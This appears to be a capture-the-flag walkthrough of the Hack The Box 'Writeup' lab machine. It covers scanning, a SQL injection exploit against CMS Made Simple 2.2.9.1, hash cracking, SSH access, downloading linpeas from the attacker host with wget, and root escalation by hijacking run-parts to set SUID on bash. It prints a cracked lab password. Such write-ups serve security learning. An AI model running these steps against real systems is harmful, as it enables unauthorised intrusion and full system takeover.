Writeup
Reconnaissance
Port Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sudo nmap -PN -sC -sV -oN writeup 10.10.10.138
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 14:14 PKT
Nmap scan report for 10.10.10.138
Host is up (0.090s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
| http-robots.txt: 1 disallowed entry
|_/writeup/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.61 seconds
Web Enumeration
Let’s interact with the web server on port 80.
From nmap scan, we can see there is a robots.txt file that disallows access to /writeup/. Let’s check it out.
There are 3 writeups available. They are fetched with the query: http://10.10.10.138/writeup/index.php?page=ypuffy
On viewing the page source of /writeup/index.php, we see:
1
<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />
Version Detection
CMS Made Simple 2019 was used. From CMS Made Simple website: Website we can try to understand the structure of the CMS and how it works. Also during my search I came across an SQLi.
If we go to http://svn.cmsmadesimple.org/svn/cmsmadesimple/trunk/ we can understand the structure of CMS.
We can confirm the existence of admin directory. But it requires auth. http://10.10.10.138/writeup/admin
If we go to: http://10.10.10.138/writeup/doc/CHANGELOG.txt we can confirm the version.
CMS Made Simple - Version 2.2.9.1
Exploitation
The exploit we came across supports this version.
The script requires Python2, pip2 (for module termcolor). Wait once the script starts running.
1
2
3
4
5
python2 exploit.py -u http://10.10.10.138/writeup
[+] Salt for password found: 5a599ef579066807lp
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43z
However, the password is not in correct MD5 format. It is not 32 characters long. We will run the script a few more times. Now we have a different salt and password. After running the script for the 3rd time we get:
Hashcat
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9
Foothold
SSH
Let’s try SSH.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ssh jkr@10.10.10.138
The authenticity of host '10.10.10.138 (10.10.10.138)' can't be established.
ED25519 key fingerprint is SHA256:TRwEhcL3WcCSS2iITDucAKYtASZxNYORzfYzuJlPvN4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.138' (ED25519) to the list of known hosts.
jkr@10.10.10.138's password:
Linux writeup 6.1.0-13-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Oct 25 11:04:00 2023 from 10.10.14.23
jkr@writeup:~$
We don’t have curl on the victim machine to transfer linpeas.
wget
Let’s use wget to download linpeas.
1
2
3
4
5
6
7
8
9
10
wget http://10.10.16.30/linpeas.sh
--2025-08-12 06:48:07-- http://10.10.16.30/linpeas.sh
Connecting to 10.10.16.30:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[=================================================================================================================>] 933.76K 839KB/s in 1.1s
2025-08-12 06:48:09 (839 KB/s) - ‘linpeas.sh’ saved [956174/956174]
LinPEAS didn’t get us much information.
1
2
3
4
5
6
7
8
jkr@writeup:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 *:68 *:*
tcp LISTEN 0 128 *:22 *:*
tcp LISTEN 0 80 127.0.0.1:3306 *:*
tcp LISTEN 0 128 :::22 :::*
tcp LISTEN 0 511 :::80 :::*
Let’s enumerate MySQL. Our current user can’t access mySQL. From LinPEAS I also observed that the current user is in a unique group.
Privilege Escalation
1
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)
Let’s check what the staff group does on debian.
From: SystemGroups
staff: Allows users to add local modifications to the system (/usr/local) without needing root privileges (note that executables in /usr/local/bin are in the PATH variable of any user, and they may “override” the executables in /bin and /usr/bin with the same name). Compare with group “adm”, which is more related to monitoring/security.
Basically if we are able to find any binary that runs without calling it’s absolute path and is located inside /usr/bin we can override that binary to either add a root user, create an ssh key for root user, or set suid on bash.
Transfer pspy, run it. SSH as jkr again and check if any process runs without calling the absolute path.
1
2
3
4
5
6
7
8
9
10
11
2025/08/12 07:20:28 CMD: UID=0 PID=1 | init [2]
2025/08/12 07:20:58 CMD: UID=0 PID=20873 | sshd: [accepted]
2025/08/12 07:20:58 CMD: UID=0 PID=20874 | sshd: [accepted]
2025/08/12 07:21:01 CMD: UID=0 PID=20875 | /usr/sbin/CRON
2025/08/12 07:21:01 CMD: UID=0 PID=20876 | /usr/sbin/CRON
2025/08/12 07:21:01 CMD: UID=0 PID=20877 | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1
2025/08/12 07:21:12 CMD: UID=0 PID=20878 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2025/08/12 07:21:12 CMD: UID=0 PID=20879 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2025/08/12 07:21:12 CMD: UID=0 PID=20880 | run-parts --lsbsysinit /etc/update-motd.d
2025/08/12 07:21:12 CMD: UID=0 PID=20881 | uname -rnsom
2025/08/12 07:21:12 CMD: UID=0 PID=20882 | sshd: jkr [priv]
run-parts and uname are two binaries that run without calling their absolute path. We can override either.
I tried the SSH path and adding a user path however, they both didn’t seem to work.
This is the run-parts binary under /usr/local/bin:
1
2
3
4
5
6
7
#!/bin/bash
touch /tmp/test
mkdir ~/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDyrUNppv/urjkY2LsG9OPcV/WcMOUjXFsEQiYpNnt+t root@vm-kali'
>> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
I then went for setting an SUID on bash:
1
2
3
4
5
6
jkr@writeup:~$ touch /usr/local/bin/run-parts
jkr@writeup:~$ echo -e '#!/bin/bash\n\nchmod u+s /bin/bash' > /usr/local/bin/run-parts; chmod +x /usr/local/bin/run-parts
jkr@writeup:~$ /bin/bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt
To trigger the run-parts binary be sure to SSH as jkr again.


